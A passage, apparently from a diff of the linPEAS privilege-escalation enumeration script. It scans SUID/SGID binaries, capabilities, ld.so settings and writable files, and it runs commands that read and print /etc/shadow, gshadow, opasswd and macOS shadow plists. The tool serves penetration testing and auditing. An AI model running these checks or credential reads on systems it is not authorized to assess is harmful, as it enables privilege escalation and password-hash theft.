authentication\n" + if ! [ -d /etc/skey/ ]; then + echo "${GREEN}S/Key authentication enabled, but has not been initialized" + elif ! [ "$IAMROOT" ] && [ -w /etc/skey/ ]; then + echo "${RED}/etc/skey/ is writable by you" + ls -ld /etc/skey/ + else + ls -ld /etc/skey/ 2>/dev/null + fi +fi +echo "" + +#-- SI) YubiKey athentication +if (grep "auth=" /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q yubikey) || [ "$DEBUG" ]; then + print_2title "YubiKey authentication" + printf "System supports$RED YubiKey$NC authentication\n" + if ! [ "$IAMROOT" ] && [ -w /var/db/yubikey/ ]; then + echo "${RED}/var/db/yubikey/ is writable by you" + ls -ld /var/db/yubikey/ + else + ls -ld /var/db/yubikey/ 2>/dev/null + fi + echo "" +fi + +peass{SNMP} + +peass{Pypirc} + +peass{Postfix} + +peass{Ldaprc} + +peass{Env} + +peass{Msmtprc} + +peass{Keepass} + +peass{FTP} + +peass{EXTRA_SECTIONS} + +peass{Interesting logs} + +peass{Windows} + +peass{Other Interesting} + +if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then + print_2title "Checking leaks in git repositories" + printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do + if echo "$f" | grep -Eq ".git$"; then + git_dirname=$(dirname "$f") + if [ "$MACPEAS" ]; then + execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'" + else + execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'" + fi + fi + done +fi + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q interesting_perms_files; then +print_title "Files with Interesting Permissions" +########################################### +#-) Files with Interesting Permissions (-# +########################################### + +check_critial_root_path(){ + folder_path="$1" + if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi +} + + + + +##-- IPF) SUID +print_2title "SUID - Check easy privesc, exploits and write perms" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" +if ! [ "$STRINGS" ]; then + echo_not_found "strings" +fi +if ! [ "$STRACE" ]; then + echo_not_found "strace" +fi +suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null) +for s in $suids_files; do + s=$(ls -lahtr "$s") + #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder + if echo "$s" | grep -qE "^total"; then break; fi + + sname="$(echo $s | awk '{print $9}')" + if [ "$sname" = "." ] || [ "$sname" = ".." ]; then + true #Don't do nothing + elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then + echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits) + echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + c="a" + for b in $sidB; do + if echo $s | grep -q $(echo $b | cut -d % -f 1); then + echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m," + c="" + break; + fi + done; + if [ "$c" ]; then + if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then + echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," + else + echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED}," + printf $ITALIC + if ! [ "$FAST" ]; then + + if [ "$STRINGS" ]; then + $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do + sline_first="$(echo "$sline" | cut -d ' ' -f1)" + if echo "$sline_first" | grep -qEv "$cfuncs"; then + if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path + if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n" + fi + else #If not a path + if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n" + fi + fi + fi + done + fi + + if [ "$LDD" ] || [ "$READELF" ]; then + echo "$ITALIC --- Checking for writable dependencies of $sname...$NC" + fi + if [ "$LDD" ]; then + "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + if [ "$READELF" ]; then + "$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + + if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then + printf $ITALIC + echo "----------------------------------------------------------------------------------------" + echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." + OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH + export LD_LIBRARY_PATH="" + timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" + printf $NC + export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH + echo "----------------------------------------------------------------------------------------" + echo "" + fi + + fi + fi + fi + fi +done; +echo "" + + +##-- IPF) SGID +print_2title "SGID" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" +sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null) +for s in $sgids_files; do + s=$(ls -lahtr "$s") + #If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder + if echo "$s" | grep -qE "^total";then break; fi + + sname="$(echo $s | awk '{print $9}')" + if [ "$sname" = "." ] || [ "$sname" = ".." ]; then + true #Don't do nothing + elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then + echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits) + echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + c="a" + for b in $sidB; do + if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then + echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m," + c="" + break; + fi + done; + if [ "$c" ]; then + if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then + echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," + else + echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED}," + printf $ITALIC + if ! [ "$FAST" ]; then + + if [ "$STRINGS" ]; then + $STRINGS "$sname" | sort | uniq | while read sline; do + sline_first="$(echo $sline | cut -d ' ' -f1)" + if echo "$sline_first" | grep -qEv "$cfuncs"; then + if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path + if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n" + fi + else #If not a path + if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary + printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n" + fi + fi + fi + done + fi + + if [ "$LDD" ] || [ "$READELF" ]; then + echo "$ITALIC --- Checking for writable dependencies of $sname...$NC" + fi + if [ "$LDD" ]; then + "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + if [ "$READELF" ]; then + "$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + fi + + if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then + printf "$ITALIC" + echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..." + timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g" + printf "$NC" + echo "" + fi + + fi + fi + fi + fi +done; +echo "" + +##-- IPF) Misconfigured ld.so +if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then + print_2title "Checking misconfigurations of ld.so" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so" + if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then + echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED$ITALIC"/etc/ld.so.conf\n"$NC; + else + printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC; + fi + + echo "Content of /etc/ld.so.conf:" + cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + + # Check each configured folder + cat /etc/ld.so.conf 2>/dev/null | while read l; do + if echo "$l" | grep -q include; then + ini_path=$(echo "$l" | cut -d " " -f 2) + fpath=$(dirname "$ini_path") + + if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then + echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED_YELLOW$ITALIC"$fpath\n"$NC; + else + printf $GREEN$ITALIC"$fpath\n"$NC; + fi + + if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then + echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + fi + + for f in $fpath/*; do + if [ -w "$f" ]; then + echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED_YELLOW$ITALIC"$f\n"$NC; + else + printf $GREEN$ITALIC" $f\n"$NC; + fi + + cat "$f" | grep -v "^#" | while read l2; do + if [ -f "$l2" ] && [ -w "$l2" ]; then + echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + printf $RED_YELLOW$ITALIC" - $l2\n"$NC; + else + echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"; + fi + done + done + fi + done + echo "" + + + if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then + echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + else + printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC; + fi + cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" + cat /etc/ld.so.preload 2>/dev/null | while read l; do + if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi + done + +fi + +##-- IPF) Capabilities +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Capabilities" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" + if [ "$(command -v capsh)" ]; then + + print_3title "Current shell capabilities" + cat "/proc/$$/status" | grep Cap | while read -r cap_line; do + cap_name=$(echo "$cap_line" | awk '{print $1}') + cap_value=$(echo "$cap_line" | awk '{print $2}') + if [ "$cap_name" = "CapEff:" ]; then + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")" + else + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")" + fi + done + echo "" + + print_3title "Parent process capabilities" + cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do + cap_name=$(echo "$cap_line" | awk '{print $1}') + cap_value=$(echo "$cap_line" | awk '{print $2}') + if [ "$cap_name" = "CapEff:" ]; then + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")" + else + echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")" + fi + done + echo "" + + else + print_3title "Current shell capabilities" + (cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status" + echo "" + + print_3title "Parent proc capabilities" + (cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status" + echo "" + fi + echo "" + echo "Files with capabilities (limited to 50):" + getcap -r / 2>/dev/null | head -n 50 | while read cb; do + capsVB_vuln="" + + for capVB in $capsVB; do + capname="$(echo $capVB | cut -d ':' -f 1)" + capbins="$(echo $capVB | cut -d ':' -f 2)" + if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then + echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW}," + capsVB_vuln="1" + break + fi + done + + if ! [ "$capsVB_vuln" ]; then + echo "$cb" | sed -${E} "s,$capsB,${SED_RED}," + fi + + if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then + echo "$cb is writable" | sed -${E} "s,.*,${SED_RED}," + fi + done + echo "" +fi + +##-- IPF) Users with capabilities +if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then + print_2title "Users with capabilities" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities" + if [ -f "/etc/security/capability.conf" ]; then + grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," + else echo_not_found "/etc/security/capability.conf" + fi + echo "" +fi + +##-- IPF) AppArmor profiles to prevent suid/capabilities abuse +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then + print_2title "AppArmor binary profiles" + ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\." + echo "" + fi +fi + +##-- IPF) Files with ACLs +print_2title "Files with ACLs (limited to 50)" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls" +if ! [ "$SEARCH_IN_FOLDER" ]; then + ( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +else + ( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +fi + +if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow) + ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," +fi +echo "" + +##-- IPF) Files with ResourceFork +#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER +# print_2title "Files with ResourceFork" +# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads" +# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork" +#fi +#echo "" + +##-- IPF) Files (scripts) in /etc/profile.d/ +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Files (scripts) in /etc/profile.d/" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files" + if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS + (ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/" + check_critial_root_path "/etc/profile" + check_critial_root_path "/etc/profile.d/" + fi + echo "" +fi + + ##-- IPF) Files (scripts) in /etc/init.d/ + if ! [ "$SEARCH_IN_FOLDER" ]; then +print_2title "Permissions in init, init.d, systemd, and rc.d" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d" + if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS + check_critial_root_path "/etc/init/" + check_critial_root_path "/etc/init.d/" + check_critial_root_path "/etc/rc.d/init.d" + check_critial_root_path "/usr/local/etc/rc.d" + check_critial_root_path "/etc/rc.d" + check_critial_root_path "/etc/systemd/" + check_critial_root_path "/lib/systemd/" + fi + + echo "" +fi + + + +##-- IPF) Hashes in passwd file +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_list "Hashes inside passwd file? ........... " + if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + ##-- IPF) Writable in passwd file + print_list "Writable passwd file? ................ " + if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else echo_no + fi + + ##-- IPF) Credentials in fstab + print_list "Credentials in fstab/mtab? ........... " + if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + ##-- IPF) Read shadow files + print_list "Can I read shadow files? ............. " + if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + print_list "Can I read shadow plists? ............ " + possible_check="" + (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no + + print_list "Can I write shadow plists? ........... " + possible_check="" + (for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no + + ##-- IPF) Read opasswd file + print_list "Can I read opasswd file? ............. " + if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo "" + else echo_no + fi + + ##-- IPF) network-scripts + print_list "Can I write in network-scripts? ...... " + if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW}," + elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else echo_no + fi + + ##-- IPF) Read root dir + print_list "Can I read root folder? .............. " + (ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no + echo "" +fi + +##-- IPF) Root files in home dirs +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching root files in home dirs (limit 30)" + (find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found + echo "" +fi + +##-- IPF) Others files in my dirs +if ! [ "$IAMROOT" ]; then + print_2title "Searching folders owned by me containing others files on it (limit 100)" + (find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec ls -l {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g" + echo "" +fi + +##-- IPF) Readable files belonging to root and not world readable +if ! [ "$IAMROOT" ]; then + print_2title "Readable files belonging to root and readable by me but not world readable" + (find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found + echo "" +fi + +##-- IPF) Interesting writable files by ownership or all +if ! [ "$IAMROOT" ]; then + print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" + #In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all + obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) + printf "%s\n" "$obmowbe" | while read entry; do + if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC; + elif echo "$entry" | grep -qE "$writeVB"; then + echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," + else + echo "$entry" | sed -${E} "s,$writeB,${SED_RED}," + fi + done + echo "" +fi + +##-- IPF) Interesting writable files by group +if ! [ "$IAMROOT" ]; then + print_2title "Interesting GROUP writable files (not in Home) (max 500)" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files" + for g in $(groups); do + iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500) + if [ "$iwfbg" ] || [ "$DEBUG" ]; then + printf " Group $GREEN$g:\n$NC"; + printf "%s\n" "$iwfbg" | while read entry; do + if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC; + elif echo "$entry" | grep -Eq "$writeVB"; then + echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," + else + echo "$entry" | sed -${E} "s,$writeB,${SED_RED}," + fi + done + fi + done + echo "" +fi +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q interesting_files; then +print_title "Other Interesting Files" +########################################### +#----------) Interesting files (----------# +########################################### + + +##-- IF) .sh files in PATH +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title ".sh files in path" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path" + echo $PATH | tr ":" "\n" | while read d; do + for f in $(find "$d" -name "*.sh" -o -name "*.sh.*" 2>/dev/null); do + if ! [ "$IAMROOT" ] && [ -O "$f" ]; then + echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED}," + elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits) + echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW}," + else + echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},"; + fi + done + done + echo "" + + broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken) + if [ "$broken_links" ] || [ "$DEBUG" ]; then + print_2title "Broken links in path" + echo $PATH | tr ":" "\n" | while read d; do + find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},"; + done + echo "" + fi +fi + +##-- IF) Date times inside firmware +if [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Files datetimes inside the firmware (limit 50)" + find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50 + echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"\"" + echo "" +fi + +##-- IF) Executable files added by user +print_2title "Executable files potentially added by user (limit 70)" +if ! [ "$SEARCH_IN_FOLDER" ]; then + find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70 +else + find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70 +fi +echo "" + + + +if [ "$MACPEAS" ]; then + print_2title "Unsigned Applications" + macosNotSigned /System/Applications +fi + +##-- IF) Unexpected in /opt +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$(ls /opt 2>/dev/null)" ]; then + print_2title "Unexpected in /opt (usually empty)" + ls -la /opt + echo "" + fi +fi + +##-- IF) Unexpected folders in / +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Unexpected in root" + if [ "$MACPEAS" ]; then + (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found + else + (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found + fi + echo "" +fi + +##-- IF) 